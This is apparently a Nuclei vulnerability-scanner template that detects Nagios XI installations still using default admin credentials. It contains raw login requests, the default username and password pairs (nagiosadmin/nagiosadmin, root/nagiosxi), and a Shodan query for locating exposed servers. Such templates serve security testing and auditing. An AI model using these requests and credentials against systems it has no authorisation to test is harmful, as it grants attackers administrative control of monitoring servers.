漏洞描述
Nagios XI default admin login credentials were detected.
id: nagiosxi-default-login
info:
name: Nagios XI Default Admin Login - Detect
author: ritikchaddha
severity: critical
description: Nagios XI default admin login credentials were detected.
reference:
- https://nagiosxi.demos.nagios.com/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-1391
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 6
shodan-query: title:"Nagios XI"
product: nagios_xi
vendor: nagios
tags: nagios,nagiosxi,default-login,vuln
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
payloads:
username:
- nagiosadmin
- root
password:
- nagiosadmin
- nagiosxi
attack: pitchfork
stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- 'Home Dashboard</a>'
- 'Admin</a>'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: nsp
part: body
group: 1
regex:
- 'name="nsp" value="(.*)">'
internal: true
# digest: 4b0a00483046022100975389df8cf5633f2530e8a97fd33c3697921ae6b6f13bea3e8e022b9427fcf6022100ca0791e7e73ed421a1b81e5b8d30946a5b919bf852a2e448280a35168bd873ab:922c64590222798bb761d5b6d8e72950